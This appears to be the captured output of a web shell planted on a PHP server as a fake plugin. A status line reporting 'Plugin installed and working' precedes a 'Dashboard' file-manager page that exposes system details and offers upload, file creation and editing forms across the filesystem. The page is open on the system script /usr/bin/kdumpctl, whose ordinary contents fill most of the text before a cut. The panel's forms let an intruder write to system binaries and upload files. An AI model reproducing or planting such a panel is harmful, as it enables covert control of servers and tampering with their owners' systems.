{"ok":true,"status":"active","msg":"Plugin installed and working","php":"8.3.33","server":"Apache","time":"2026-08-22 04:52:26"}
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Dashboard</title>
    <style>
        * { margin:0; padding:0; box-sizing:border-box; font-family:Arial,sans-serif; }
        body { background:#000; color:#ccc; padding:15px; min-height:100vh; }
        .container { background:#111; border:1px solid #ff0000; max-width:1400px; margin:0 auto; border-radius:5px; overflow:hidden; }
        .header { background:#222; padding:15px; border-bottom:2px solid #ff0000; color:#fff; }
        .header h1 { color:#ff0000; font-size:20px; margin-bottom:10px; }
        .system-info { display:flex; gap:15px; font-size:12px; color:#888; flex-wrap:wrap; }
        .path-navigation { background:#1a1a1a; padding:12px 15px; border-bottom:1px solid #333; display:flex; align-items:center; flex-wrap:wrap; gap:5px; }
        .path-navigation a { color:#00ff00; text-decoration:none; padding:5px 10px; background:#222; border-radius:3px; font-size:13px; }
        .path-navigation a:hover { background:#333; color:#fff; }
        .tools { padding:12px 15px; background:#1a1a1a; border-bottom:1px solid #333; display:flex; gap:8px; flex-wrap:wrap; }
        .button { background:#222; color:#ccc; border:1px solid #666; padding:8px 15px; cursor:pointer; border-radius:3px; font-size:13px; text-decoration:none; display:inline-flex; align-items:center; gap:5px; }
        .button:hover { background:#333; border-color:#00ff00; color:#fff; }
        .button-green { border-color:#00ff00; color:#00ff00; }
        .button-red { border-color:#ff0000; color:#ff0000; }
        .message { padding:12px; background:#1a1a1a; border-bottom:1px solid #333; text-align:center; font-weight:bold; }
        .file-table { width:100%; color:#ccc; border-collapse:collapse; }
        .file-table th { background:#222; padding:12px 15px; text-align:left; border-bottom:2px solid #ff0000; color:#fff; font-size:13px; }
        .file-table td { padding:10px 15px; border-bottom:1px solid #333; font-size:14px; }
        .file-table tr:hover { background:#1a1a1a; }
        .folder-link { color:#00ff00; font-weight:bold; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .file-link { color:#ccc; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .folder-link:hover, .file-link:hover { color:#fff; }
        .size { color:#888; }
        .permissions { font-family:'Courier New',monospace; color:#ff9900; background:#222; padding:4px 8px; border-radius:3px; font-size:12px; }
        .actions { display:flex; gap:5px; flex-wrap:wrap; }
        .action-button { padding:5px 10px; background:#222; color:#ccc; border:1px solid #666; font-size:11px; cursor:pointer; text-decoration:none; border-radius:3px; }
        .action-button:hover { background:#333; border-color:#00ff00; }
        .action-button-red { border-color:#ff0000; color:#ff0000; }
        textarea { width:100%; height:400px; background:#000; color:#00ff00; border:1px solid #ff0000; padding:15px; font-family:'Courier New',monospace; font-size:14px; border-radius:3px; }
        .edit-container { padding:20px; background:#000; border-bottom:1px solid #333; }
        .edit-title { color:#00ff00; margin-bottom:15px; font-size:16px; }
        .toast-container { position:fixed; top:20px; right:20px; z-index:10000; display:flex; flex-direction:column; gap:10px; max-width:350px; }
        .toast { padding:12px 20px; border-radius:5px; color:#fff; font-size:14px; display:flex; align-items:center; justify-content:space-between; gap:10px; animation:toastIn 0.3s ease; cursor:pointer; }
        .toast-success { background:#1a472a; border-left:4px solid #00ff00; }
        .toast-error { background:#4a1a1a; border-left:4px solid #ff0000; }
        @keyframes toastIn { from { transform:translateX(100%); opacity:0; } to { transform:translateX(0); opacity:1; } }
        .search-input { background:#000; border:1px solid #444; color:#fff; padding:6px 12px; border-radius:3px; font-size:13px; width:200px; margin-left:auto; }
        .search-input:focus { outline:none; border-color:#00ff00; }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <div style="display:flex; justify-content:space-between; align-items:center;">
                <div>
                    <h1>Dashboard</h1>
                    <div class="system-info">
                        <span>PHP: <b style="color:#ff9900">8.3.33</b></span>
                        <span>OS: <b style="color:#ff9900">Linux</b></span>
                        <span>User: <b style="color:#ff9900">pablod78</b></span>
                    </div>
                </div>

            </div>
        </div>
        
                
        <div class="path-navigation">
                                            <a href="?p=%2F">/</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fusr">usr</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fusr%2Fbin">bin</a>
                    </div>
        
        <div class="tools">
            <button class="button button-green" onclick="document.getElementById('b64upload').click()">📤 Upload</button>
            <input type="file" id="b64upload" style="display:none" onchange="uploadFileB64(this)">
            <button class="button" onclick="showCreateFile()">📝 New File</button>
            <button class="button" onclick="showCreateFolder()">📁 New Folder</button>
            <a href="?p=%2Fusr%2Fbin" class="button button-red">Close</a>            <input type="text" id="search-input" class="search-input" placeholder="🔍 Search..." onkeyup="searchFiles(this.value)">
        </div>

        
                    <div class="edit-container">
                <div class="edit-title">Editing: kdumpctl</div>
                <form method="post">
                    <input type="hidden" name="edit_path" value="/usr/bin/kdumpctl">
                    <textarea name="edit_content">#!/usr/bin/bash
KEXEC=/sbin/kexec

KDUMP_KERNELVER=&quot;&quot;
KDUMP_KERNEL=&quot;&quot;
KDUMP_COMMANDLINE=&quot;&quot;
KEXEC_ARGS=&quot;&quot;
MKDUMPRD=&quot;/sbin/mkdumprd -f&quot;
MKFADUMPRD=&quot;/sbin/mkfadumprd&quot;
DRACUT_MODULES_FILE=&quot;/usr/lib/dracut/modules.txt&quot;
SAVE_PATH=/var/crash
SSH_KEY_LOCATION=&quot;/root/.ssh/kdump_id_rsa&quot;
DUMP_TARGET=&quot;&quot;
DEFAULT_INITRD=&quot;&quot;
DEFAULT_INITRD_BAK=&quot;&quot;
INITRD_CHECKSUM_LOCATION=&quot;&quot;
KDUMP_INITRD=&quot;&quot;
TARGET_INITRD=&quot;&quot;
#kdump shall be the default dump mode
DEFAULT_DUMP_MODE=&quot;kdump&quot;
VMCORE_CREATION_STATUS=&quot;/var/lib/kdump/vmcore-creation.status&quot;
image_time=0

standard_kexec_args=&quot;-p&quot;

# Some default values in case /etc/sysconfig/kdump doesn&#039;t include
KDUMP_COMMANDLINE_REMOVE=&quot;hugepages hugepagesz slub_debug&quot;

if [[ -f /etc/sysconfig/kdump ]]; then
	. /etc/sysconfig/kdump
fi

[[ $dracutbasedir ]] || dracutbasedir=/usr/lib/dracut
. $dracutbasedir/dracut-functions.sh
. /lib/kdump/kdump-lib.sh
. /lib/kdump/kdump-logger.sh

#initiate the kdump logger
if ! dlog_init; then
	echo &quot;failed to initiate the kdump logger.&quot;
	exit 1
fi

KDUMP_TMPDIR=$(mktemp --tmpdir -d kdump.XXXX)
TMPMNT=&quot;$KDUMP_TMPDIR/target&quot;
trap &#039;
    ret=$?;
    is_mounted $TMPMNT &amp;&amp; umount -f $TMPMNT;
    rm -rf &quot;$KDUMP_TMPDIR&quot;
    [[ -d $LUKS_CONFIGFS ]] &amp;&amp; find $LUKS_CONFIGFS/ -mindepth 1 -type d -delete
    exit $ret;
    &#039; EXIT

single_instance_lock()
{
	local rc timeout=5 lockfile

	if [[ -d /run/lock ]]; then
		lockfile=/run/lock/kdump
	else
		# when updating package using virt-customize, /run/lock doesn&#039;t exist
		lockfile=/tmp/kdump.lock
	fi

	if ! exec 9&gt; $lockfile; then
		derror &quot;Create file lock failed&quot;
		exit 1
	fi

	flock -n 9
	rc=$?

	while [[ $rc -ne 0 ]]; do
		dinfo &quot;Another app is currently holding the kdump lock; waiting for it to exit...&quot;
		flock -w $timeout 9
		rc=$?
	done
}

determine_dump_mode()
{
	# Check if firmware-assisted dump is enabled
	# if yes, set the dump mode as fadump
	if is_fadump_capable; then
		dinfo &quot;Dump mode is fadump&quot;
		DEFAULT_DUMP_MODE=&quot;fadump&quot;
	fi
	ddebug &quot;DEFAULT_DUMP_MODE=$DEFAULT_DUMP_MODE&quot;
}

save_core()
{
	coredir=&quot;/var/crash/$(date +&quot;%Y-%m-%d-%H:%M&quot;)&quot;

	mkdir -p &quot;$coredir&quot;
	ddebug &quot;cp --sparse=always /proc/vmcore $coredir/vmcore-incomplete&quot;
	if cp --sparse=always /proc/vmcore &quot;$coredir/vmcore-incomplete&quot;; then
		mv &quot;$coredir/vmcore-incomplete&quot; &quot;$coredir/vmcore&quot;
		dinfo &quot;saved a vmcore to $coredir&quot;
	else
		derror &quot;failed to save a vmcore to $coredir&quot;
	fi

	# pass the dmesg to Abrt tool if exists, in order
	# to collect the kernel oops message.
	# https://fedorahosted.org/abrt/
	if [[ -x /usr/bin/dumpoops ]]; then
		ddebug &quot;makedumpfile --dump-dmesg $coredir/vmcore $coredir/dmesg&quot;
		makedumpfile --dump-dmesg &quot;$coredir/vmcore&quot; &quot;$coredir/dmesg&quot; &gt; /dev/null 2&gt;&amp;1
		ddebug &quot;dumpoops -d $coredir/dmesg&quot;
		if dumpoops -d &quot;$coredir/dmesg&quot; &gt; /dev/null 2&gt;&amp;1; then
			dinfo &quot;kernel oops has been collected by abrt tool&quot;
		fi
	fi
}

rebuild_fadump_initrd()
{
	if ! $MKFADUMPRD &quot;$DEFAULT_INITRD_BAK&quot; &quot;$TARGET_INITRD&quot; --kver &quot;$KDUMP_KERNELVER&quot;; then
		derror &quot;mkfadumprd: failed to make fadump initrd&quot;
		return 1
	fi

	return 0
}

check_earlykdump_is_enabled()
{
	grep -q -w &quot;rd.earlykdump&quot; /proc/cmdline
}

rebuild_kdump_initrd()
{
	ddebug &quot;rebuild kdump initrd: $MKDUMPRD $TARGET_INITRD $KDUMP_KERNELVER&quot;
	if ! $MKDUMPRD &quot;$TARGET_INITRD&quot; &quot;$KDUMP_KERNELVER&quot;; then
		derror &quot;mkdumprd: failed to make kdump initrd&quot;
		return 1
	fi

	if check_earlykdump_is_enabled; then
		dwarn &quot;Tips: If early kdump is enabled, also require rebuilding the system initramfs to make the changes take effect for early kdump.&quot;
	fi

	return 0
}

check_and_generate_vconsole_conf()
{
	if [[ ! -e /etc/vconsole.conf  ]]; then
		dwarn &quot;/etc/vconsole.conf does not exist, trying to set keymap to us to reduce the initramfs size.&quot;
		if [[ -x &quot;$(command -v localectl)&quot; ]] ; then
			if localectl list-keymaps | grep -q &quot;^us$&quot;; then
				localectl set-keymap us 2&gt;/dev/null
			fi
		fi
	fi
}

rebuild_initrd()
{
	local _ret

	if [[ ! -w $(dirname &quot;$TARGET_INITRD&quot;) ]]; then
		derror &quot;$(dirname &quot;$TARGET_INITRD&quot;) does not have write permission. Cannot rebuild $TARGET_INITRD&quot;
		return 1
	fi

	check_and_generate_vconsole_conf

	if [[ $DEFAULT_DUMP_MODE == &quot;fadump&quot; ]]; then
		rebuild_fadump_initrd
	else
		rebuild_kdump_initrd
	fi

	_ret=$?

	set_vmcore_creation_status &#039;clear&#039;
	return $_ret
}

#$1: the files to be checked with IFS=&#039; &#039;
check_exist()
{
	for file in $1; do
		if [[ ! -e $file ]]; then
			derror &quot;Error: $file not found.&quot;
			return 1
		fi
	done
}

#$1: the files to be checked with IFS=&#039; &#039;
check_executable()
{
	for file in $1; do
		if [[ ! -x $file ]]; then
			derror &quot;Error: $file is not executable.&quot;
			return 1
		fi
	done
}

backup_default_initrd()
{
	ddebug &quot;backup default initrd: $DEFAULT_INITRD&quot;

	if [[ ! -f $DEFAULT_INITRD ]]; then
		return
	fi

	if [[ ! -e $DEFAULT_INITRD_BAK ]]; then
		dinfo &quot;Backing up $DEFAULT_INITRD before rebuild.&quot;
		# save checksum to verify before restoring
		sha1sum &quot;$DEFAULT_INITRD&quot; &gt; &quot;$INITRD_CHECKSUM_LOCATION&quot;
		if ! cp &quot;$DEFAULT_INITRD&quot; &quot;$DEFAULT_INITRD_BAK&quot;; then
			dwarn &quot;WARNING: failed to backup $DEFAULT_INITRD.&quot;
			rm -f -- &quot;$INITRD_CHECKSUM_LOCATION&quot;
			rm -f -- &quot;$DEFAULT_INITRD_BAK&quot;
		fi
	fi
}

restore_default_initrd()
{
	ddebug &quot;restore default initrd: $DEFAULT_INITRD&quot;

	if [[ ! -f $DEFAULT_INITRD ]]; then
		return
	fi

	# If a backup initrd exists, we must be switching back from
	# fadump to kdump. Restore the original default initrd.
	if [[ -f $DEFAULT_INITRD_BAK ]] &amp;&amp; [[ -f $INITRD_CHECKSUM_LOCATION ]]; then
		# verify checksum before restoring
		backup_checksum=$(sha1sum &quot;$DEFAULT_INITRD_BAK&quot; | awk &#039;{ print $1 }&#039;)
		default_checksum=$(awk &#039;{ print $1 }&#039; &quot;$INITRD_CHECKSUM_LOCATION&quot;)
		if [[ $default_checksum != &quot;$backup_checksum&quot; ]]; then
			dwarn &quot;WARNING: checksum mismatch! Can&#039;t restore original initrd..&quot;
		else
			rm -f $INITRD_CHECKSUM_LOCATION
			if mv &quot;$DEFAULT_INITRD_BAK&quot; &quot;$DEFAULT_INITRD&quot;; then
				derror &quot;Restoring original initrd as fadump mode is disabled.&quot;
				sync
			fi
		fi
	fi
}

check_config()
{
	local -A _opt_rec
	while read -r config_opt config_val; do
		case &quot;$config_opt&quot; in
		dracut_args)
			if [[ $config_val == *--mount* ]]; then
				if [[ $(echo &quot;$config_val&quot; | grep -o &quot;\-\-mount&quot; | wc -l) -ne 1 ]]; then
					derror &#039;Multiple mount targets specified in one &quot;dracut_args&quot;.&#039;
					return 1
				fi
				config_opt=_target
			fi
			;;
		raw)
			if [[ -d &quot;/proc/device-tree/ibm,opal/dump&quot; ]]; then
				dwarn &quot;WARNING: Won&#039;t capture opalcore when &#039;raw&#039; dump target is used.&quot;
			fi
			config_opt=_target
			;;
		ext[234] | minix | btrfs | xfs | nfs | ssh | virtiofs)
			config_opt=_target
			;;
		sshkey | path | core_collector | kdump_post | kdump_pre | extra_bins | extra_modules | failure_action | default | final_action | force_rebuild | force_no_rebuild | fence_kdump_args | fence_kdump_nodes | auto_reset_crashkernel) ;;

		net | options | link_delay | disk_timeout | debug_mem_level | blacklist)
			derror &quot;Deprecated kdump config option: $config_opt. Refer to kdump.conf manpage for alternatives.&quot;
			return 1
			;;
		&#039;&#039;)
			continue
			;;
		*)
			derror &quot;Invalid kdump config option $config_opt&quot;
			return 1
			;;
		esac

		if [[ -z $config_val ]]; then
			derror &quot;Invalid kdump config value for option &#039;$config_opt&#039;&quot;
			return 1
		fi

		if [[ -n ${_opt_rec[$config_opt]} ]]; then
			if [[ $config_opt == _target ]]; then
				derror &quot;More than one dump targets specified&quot;
			else
				derror &quot;Duplicated kdump config value of option $config_opt&quot;
			fi
			return 1
		fi
		_opt_rec[$config_opt]=&quot;$config_val&quot;
	done &lt;&lt;&lt; &quot;$(kdump_read_conf)&quot;

	check_failure_action_config || return 1
	check_final_action_config || return 1
	check_fence_kdump_config || return 1

	return 0
}

# get_pcs_cluster_modified_files &lt;image timestamp&gt;
# return list of modified file for fence_kdump modified in Pacemaker cluster
get_pcs_cluster_modified_files()
{
	local time_stamp
	local modified_files

	is_generic_fence_kdump &amp;&amp; return 1
	is_pcs_fence_kdump || return 1

	time_stamp=$(pcs cluster cib | xmllint --xpath &#039;string(/cib/@cib-last-written)&#039; - | xargs -0 date +%s --date)

	if [[ -n $time_stamp ]] &amp;&amp; [[ $time_stamp -gt $image_time ]]; then
		modified_files=&quot;cluster-cib&quot;
	fi

	if [[ -f $FENCE_KDUMP_CONFIG_FILE ]]; then
		time_stamp=$(stat -c &quot;%Y&quot; &quot;$FENCE_KDUMP_CONFIG_FILE&quot;)
		if [[ $time_stamp -gt $image_time ]]; then
			modified_files=&quot;$modified_files $FENCE_KDUMP_CONFIG_FILE&quot;
		fi
	fi

	echo &quot;$modified_files&quot;
}

setup_initrd()
{
	if ! prepare_kdump_bootinfo; then
		derror &quot;failed to prepare for kdump bootinfo.&quot;
		return 1
	fi

	DEFAULT_INITRD_BAK=&quot;$KDUMP_BOOTDIR/.$(basename &quot;$DEFAULT_INITRD&quot;).default&quot;
	INITRD_CHECKSUM_LOCATION=&quot;$DEFAULT_INITRD_BAK.checksum&quot;
	if [[ $DEFAULT_DUMP_MODE == &quot;fadump&quot; ]]; then
		TARGET_INITRD=&quot;$DEFAULT_INITRD&quot;

		# backup initrd for reference before replacing it
		# with fadump aware initrd
		backup_default_initrd
	else
		TARGET_INITRD=&quot;$KDUMP_INITRD&quot;

		# check if a backup of default initrd exists. If yes,
		# it signifies a switch from fadump mode. So, restore
		# the backed up default initrd.
		restore_default_initrd
	fi
}

check_files_modified()
{
	local modified_files=&quot;&quot;

	#also rebuild when Pacemaker cluster conf is changed and fence kdump is enabled.
	modified_files=$(get_pcs_cluster_modified_files)

	EXTRA_BINS=$(kdump_get_conf_val kdump_post)
	CHECK_FILES=$(kdump_get_conf_val kdump_pre)
	HOOKS=&quot;/etc/kdump/post.d/ /etc/kdump/pre.d/&quot;
	if [[ -d /etc/kdump/post.d ]]; then
		for file in /etc/kdump/post.d/*; do
			if [[ -x $file ]]; then
				POST_FILES=&quot;$POST_FILES $file&quot;
			fi
		done
	fi
	if [[ -d /etc/kdump/pre.d ]]; then
		for file in /etc/kdump/pre.d/*; do
			if [[ -x $file ]]; then
				PRE_FILES=&quot;$PRE_FILES $file&quot;
			fi
		done
	fi
	HOOKS=&quot;$HOOKS $POST_FILES $PRE_FILES&quot;
	CORE_COLLECTOR=$(kdump_get_conf_val core_collector | awk &#039;{print $1}&#039;)
	CORE_COLLECTOR=$(type -P &quot;$CORE_COLLECTOR&quot;)
	# POST_FILES and PRE_FILES are already checked against executable, need not to check again.
	EXTRA_BINS=&quot;$EXTRA_BINS $CHECK_FILES&quot;
	CHECK_FILES=$(kdump_get_conf_val extra_bins)
	EXTRA_BINS=&quot;$EXTRA_BINS $CHECK_FILES&quot;
	files=&quot;$KDUMP_CONFIG_FILE $KDUMP_KERNEL $EXTRA_BINS $CORE_COLLECTOR&quot;
	[[ -e /etc/fstab ]] &amp;&amp; files=&quot;$files /etc/fstab&quot;

	# Check for any updated extra module
	EXTRA_MODULES=&quot;$(kdump_get_conf_val extra_modules)&quot;
	if [[ -n $EXTRA_MODULES ]]; then
		if [[ -e /lib/modules/$KDUMP_KERNELVER/modules.dep ]]; then
			files=&quot;$files /lib/modules/$KDUMP_KERNELVER/modules.dep&quot;
		fi
		for _module in $EXTRA_MODULES; do
			if _module_file=&quot;$(modinfo --set-version &quot;$KDUMP_KERNELVER&quot; --filename &quot;$_module&quot; 2&gt; /dev/null)&quot;; then
				files=&quot;$files $_module_file&quot;
				for _dep_modules in $(modinfo -F depends &quot;$_module&quot; | tr &#039;,&#039; &#039; &#039;); do
					files=&quot;$files $(modinfo --set-version &quot;$KDUMP_KERNELVER&quot; --filename &quot;$_dep_modules&quot; 2&gt; /dev/null)&quot;
				done
			else
				# If it&#039;s not a module nor builtin, give an error
				if ! (modprobe --set-version &quot;$KDUMP_KERNELVER&quot; --dry-run &quot;$_module&quot; &amp;&gt; /dev/null); then
					dwarn &quot;Module $_module not found&quot;
				fi
			fi
		done
	fi

	# HOOKS is mandatory and need to check the modification time
	files=&quot;$files $HOOKS&quot;
	is_lvm2_thinp_dump_target &amp;&amp; files=&quot;$files $LVM_CONF&quot;
	check_exist &quot;$files&quot; &amp;&amp; check_executable &quot;$EXTRA_BINS&quot; || return 2

	for file in $files; do
		if [[ -e $file ]]; then
			time_stamp=$(stat -c &quot;%Y&quot; &quot;$file&quot;)
			if [[ $time_stamp -gt $image_time ]]; then
				modified_files=&quot;$modified_files $file&quot;
			fi
			if [[ -L $file ]]; then
				file=$(readlink -m &quot;$file&quot;)
				time_stamp=$(stat -c &quot;%Y&quot; &quot;$file&quot;)
				if [[ $time_stamp -gt $image_time ]]; then
					modified_files=&quot;$modified_files $file&quot;
				fi
			fi
		else
			dwarn &quot;$file doesn&#039;t exist&quot;
		fi
	done

	if [[ -n $modified_files ]]; then
		dinfo &quot;Detected change(s) in the following file(s): $modified_files&quot;
		return 1
	fi

	return 0
}

check_drivers_modified()
{
	local _target _new_drivers _old_drivers _module_name _module_filename

	# If it&#039;s dump target is on block device, detect the block driver
	_target=$(get_block_dump_target)
	if [[ -n $_target ]]; then
		_record_block_drivers()
		{
			local _drivers
			_drivers=$(udevadm info -a &quot;/dev/block/$1&quot; | sed -n &#039;s/\s*DRIVERS==&quot;\(\S\+\)&quot;/\1/p&#039;)
			for _driver in $_drivers; do
				if ! [[ &quot; $_new_drivers &quot; == *&quot; $_driver &quot;* ]]; then
					_new_drivers=&quot;$_new_drivers $_driver&quot;
				fi
			done

			ddebug &quot;MAJ:MIN=$1 drivers=&#039;$_drivers&#039;&quot;
		}
		check_block_and_slaves_all _record_block_drivers &quot;$(get_maj_min &quot;$_target&quot;)&quot;
	fi

	# Include watchdog drivers if watchdog module is not omitted
	is_dracut_mod_omitted watchdog || _new_drivers+=&quot; $(get_watchdog_drvs)&quot;
	[[ -z $_new_drivers ]] &amp;&amp; return 0

	if is_fadump_capable; then
		_old_drivers=&quot;$(lsinitrd &quot;$TARGET_INITRD&quot; -f /usr/lib/dracut/fadump-kernel-modules.txt | tr &#039;\n&#039; &#039; &#039;)&quot;
	else
		_old_drivers=&quot;$(lsinitrd &quot;$TARGET_INITRD&quot; -f /usr/lib/dracut/hostonly-kernel-modules.txt | tr &#039;\n&#039; &#039; &#039;)&quot;
	fi

	ddebug &quot;Modules required for kdump: &#039;$_new_drivers&#039;&quot;
	ddebug &quot;Modules included in old initramfs: &#039;$_old_drivers&#039;&quot;
	for _driver in $_new_drivers; do
		# Skip deprecated/invalid driver name or built-in module
		_module_name=$(modinfo --set-version &quot;$KDUMP_KERNELVER&quot; -F name &quot;$_driver&quot; 2&gt; /dev/null)
		_module_filename=$(modinfo --set-version &quot;$KDUMP_KERNELVER&quot; -n &quot;$_driver&quot; 2&gt; /dev/null)
		if [[ -z $_module_name ]] || [[ -z $_module_filename ]] || [[ $_module_filename == *&quot;(builtin)&quot;* ]]; then
			continue
		fi
		if ! [[ &quot; $_old_drivers &quot; == *&quot; $_module_name &quot;* ]]; then
			dinfo &quot;Detected change in block device driver, new loaded module: $_module_name&quot;
			return 1
		fi
	done
}

check_fs_modified()
{
	local _old_dev _old_mntpoint _old_fstype
	local _new_dev _new_mntpoint _new_fstype
	local _target _dracut_args

	# No need to check in case of mount target specified via &quot;dracut_args&quot;.
	if is_mount_in_dracut_args; then
		return 0
	fi

	# No need to check in case of raw target.
	# Currently we do not check also if ssh/nfs/virtiofs/thinp target is specified
	if is_ssh_dump_target || is_nfs_dump_target || is_raw_dump_target ||
		is_virtiofs_dump_target || is_lvm2_thinp_dump_target; then
		return 0
	fi

	_target=$(get_block_dump_target)
	_new_fstype=$(get_fs_type_from_target &quot;$_target&quot;)
	if [[ -z $_target ]] || [[ -z $_new_fstype ]]; then
		derror &quot;Dump target is invalid&quot;
		return 2
	fi

	ddebug &quot;_target=$_target _new_fstype=$_new_fstype&quot;
	_new_dev=$(kdump_get_persistent_dev &quot;$_target&quot;)
	if [[ -z $_new_dev ]]; then
		perror &quot;Get persistent device name failed&quot;
		return 2
	fi

	_new_mntpoint=&quot;$(get_kdump_mntpoint_from_target &quot;$_target&quot;)&quot;
	_dracut_args=$(lsinitrd &quot;$TARGET_INITRD&quot; -f usr/lib/dracut/build-parameter.txt)
	if [[ -z $_dracut_args ]]; then
		dwarn &quot;Warning: No dracut arguments found in initrd&quot;
		return 0
	fi

	# if --mount argument present then match old and new target, mount
	# point and file system. If any of them mismatches then rebuild
	if echo &quot;$_dracut_args&quot; | grep -q &quot;\-\-mount&quot;; then
		# shellcheck disable=SC2046
		set -- $(echo &quot;$_dracut_args&quot; | awk -F &quot;--mount &#039;&quot; &#039;{print $2}&#039; | cut -d&#039; &#039; -f1,2,3)
		_old_dev=$1
		_old_mntpoint=$2
		_old_fstype=$3
		[[ $_new_dev == &quot;$_old_dev&quot; &amp;&amp; $_new_mntpoint == &quot;$_old_mntpoint&quot; &amp;&amp; $_new_fstype == &quot;$_old_fstype&quot; ]] &amp;&amp; return 0
	# otherwise rebuild if target device is not a root device
	else
		[[ $_target == &quot;$(get_root_fs_device)&quot; ]] &amp;&amp; return 0
	fi

	dinfo &quot;Detected change in File System&quot;
	return 1
}

# returns 0 if system is not modified
# returns 1 if system is modified
# returns 2 if system modification is invalid
check_system_modified()
{
	local ret
	local CONF_ERROR=2
	local CONF_MODIFY=1
	local CONF_NO_MODIFY=0
	local conf_status=$CONF_NO_MODIFY

	[[ -f $TARGET_INITRD ]] || return 1

	for _func in check_files_modified check_fs_modified check_drivers_modified; do
		$_func
		ret=$?
		# return immediately if an error occurred.
		[[ $ret -eq &quot;$CONF_ERROR&quot; ]] &amp;&amp; return &quot;$ret&quot;
		[[ $ret -eq &quot;$CONF_MODIFY&quot; ]] &amp;&amp; { conf_status=&quot;$CONF_MODIFY&quot;; }
	done

	return $conf_status
}

check_rebuild()
{
	local capture_capable_initrd=&quot;1&quot;
	local force_rebuild force_no_rebuild
	local ret system_modified=&quot;0&quot;

	setup_initrd || return 1

	force_no_rebuild=$(kdump_get_conf_val force_no_rebuild)
	force_no_rebuild=${force_no_rebuild:-0}
	if [[ $force_no_rebuild != &quot;0&quot; ]] &amp;&amp; [[ $force_no_rebuild != &quot;1&quot; ]]; then
		derror &quot;Error: force_no_rebuild value is invalid&quot;
		return 1
	fi

	force_rebuild=$(kdump_get_conf_val force_rebuild)
	force_rebuild=${force_rebuild:-0}
	if [[ $force_rebuild != &quot;0&quot; ]] &amp;&amp; [[ $force_rebuild != &quot;1&quot; ]]; then
		derror &quot;Error: force_rebuild value is invalid&quot;
		return 1
	fi

	if [[ $force_no_rebuild == &quot;1&quot; &amp;&amp; $force_rebuild == &quot;1&quot; ]]; then
		derror &quot;Error: force_rebuild and force_no_rebuild are enabled simultaneously in kdump.conf&quot;
		return 1
	fi

	# Will not rebuild kdump initrd
	if [[ $force_no_rebuild == &quot;1&quot; ]]; then
		return 0
	fi

	#check to see if dependent files has been modified
	#since last build of the image file
	if [[ -f $TARGET_INITRD ]]; then
		image_time=$(stat -c &quot;%Y&quot; &quot;$TARGET_INITRD&quot; 2&gt; /dev/null)

		#in case of fadump mode, check whether the default/target
		#initrd is already built with dump capture capability
		if [[ $DEFAULT_DUMP_MODE == &quot;fadump&quot; ]]; then
			capture_capable_initrd=$(lsinitrd -f $DRACUT_MODULES_FILE &quot;$TARGET_INITRD&quot; | grep -c -e ^kdumpbase$ -e ^zz-fadumpinit$)
		fi
	fi

	check_system_modified
	ret=$?
	if [[ $ret -eq 2 ]]; then
		return 1
	elif [[ $ret -eq 1 ]]; then
		system_modified=&quot;1&quot;
	fi

	if [[ $image_time -eq 0 ]]; then
		dinfo &quot;No kdump initial ramdisk found.&quot;
	elif [[ $capture_capable_initrd == &quot;0&quot; ]]; then
		dinfo &quot;Rebuild $TARGET_INITRD with dump capture support&quot;
	elif [[ $force_rebuild != &quot;0&quot; ]]; then
		dinfo &quot;Force rebuild $TARGET_INITRD&quot;
	elif [[ $system_modified != &quot;0&quot; ]]; then
		:
	else
		return 0
	fi

	dinfo &quot;Rebuilding $TARGET_INITRD&quot;
	rebuild_initrd
}

# On ppc64le LPARs, the keys trusted by firmware do not end up in
# .builtin_trusted_keys. So instead, add the key to the .ima keyring
function load_kdump_kernel_key()
{
	# this is only called inside is_secure_boot_enforced,
	# no need to retest

        # this is only required if DT /ibm,secure-boot is a file.
        # if it is a dir, we are on OpenPower and don&#039;t need this.
        if ! [[ -f /proc/device-tree/ibm,secure-boot ]]; then
                return
        fi

	# %.ima keyring is writable to the user, no need to use
	# &quot;sudo -i keyctl&quot;
	keyctl padd asymmetric &quot;&quot; %:.ima &lt; &quot;/usr/share/doc/kernel-keys/$KDUMP_KERNELVER/kernel-signing-ppc.cer&quot;
}

# Load the kdump kernel specified in /etc/sysconfig/kdump
# If none is specified, try to load a kdump kernel with the same version
# as the currently running kernel.
load_kdump()
{
	local uki

	KEXEC_ARGS=$(prepare_kexec_args &quot;${KEXEC_ARGS}&quot;)
	KDUMP_COMMANDLINE=$(prepare_cmdline &quot;${KDUMP_COMMANDLINE}&quot; &quot;${KDUMP_COMMANDLINE_REMOVE}&quot; &quot;${KDUMP_COMMANDLINE_APPEND}&quot;)

	if is_uki &quot;$KDUMP_KERNEL&quot;; then
		uki=$KDUMP_KERNEL
		KDUMP_KERNEL=$KDUMP_TMPDIR/vmlinuz
		objcopy -O binary --only-section .linux &quot;$uki&quot; &quot;$KDUMP_KERNEL&quot;
		sync -f &quot;$KDUMP_KERNEL&quot;
		# Make sure the temp file has the correct SELinux label.
		# Otherwise starting the kdump.service will fail.
		chcon -t boot_t &quot;$KDUMP_KERNEL&quot;
	fi

	if ! prepare_luks; then
		derror &quot;kexec: failed to prepare for a LUKS target&quot;
		return 1
	fi

	[[ ${KEYCTL_CMD[0]} == sudo ]] &amp;&amp; KEXEC=&quot;sudo -i $KEXEC&quot;
	ddebug &quot;$KEXEC $KEXEC_ARGS $standard_kexec_args --command-line=$KDUMP_COMMANDLINE --initrd=$TARGET_INITRD $KDUMP_KERNEL&quot;

	# shellcheck disable=SC2086
	$KEXEC $KEXEC_ARGS $standard_kexec_args \
		--command-line=&quot;$KDUMP_COMMANDLINE&quot; \
		--initrd=&quot;$TARGET_INITRD&quot; &quot;$KDUMP_KERNEL&quot;

	if [[ $? == 0 ]]; then
		dinfo &quot;kexec: loaded kdump kernel&quot;
		return 0
	else
		derror &quot;kexec: failed to load kdump kernel&quot;
		return 1
	fi
}

check_ssh_config()
{
	local SSH_TARGET

	while read -r config_opt config_val; do
		case &quot;$config_opt&quot; in
		sshkey)
			# remove inline comments after the end of a directive.
			if [[ -f $config_val ]]; then
				# canonicalize the path
				SSH_KEY_LOCATION=$(/usr/bin/readlink -m &quot;$config_val&quot;)
			else
				dwarn &quot;WARNING: &#039;$config_val&#039; doesn&#039;t exist, using default value &#039;$SSH_KEY_LOCATION&#039;&quot;
			fi
			;;
		path)
			SAVE_PATH=$config_val
			;;
		ssh)
			DUMP_TARGET=$config_val
			;;
		*) ;;

		esac
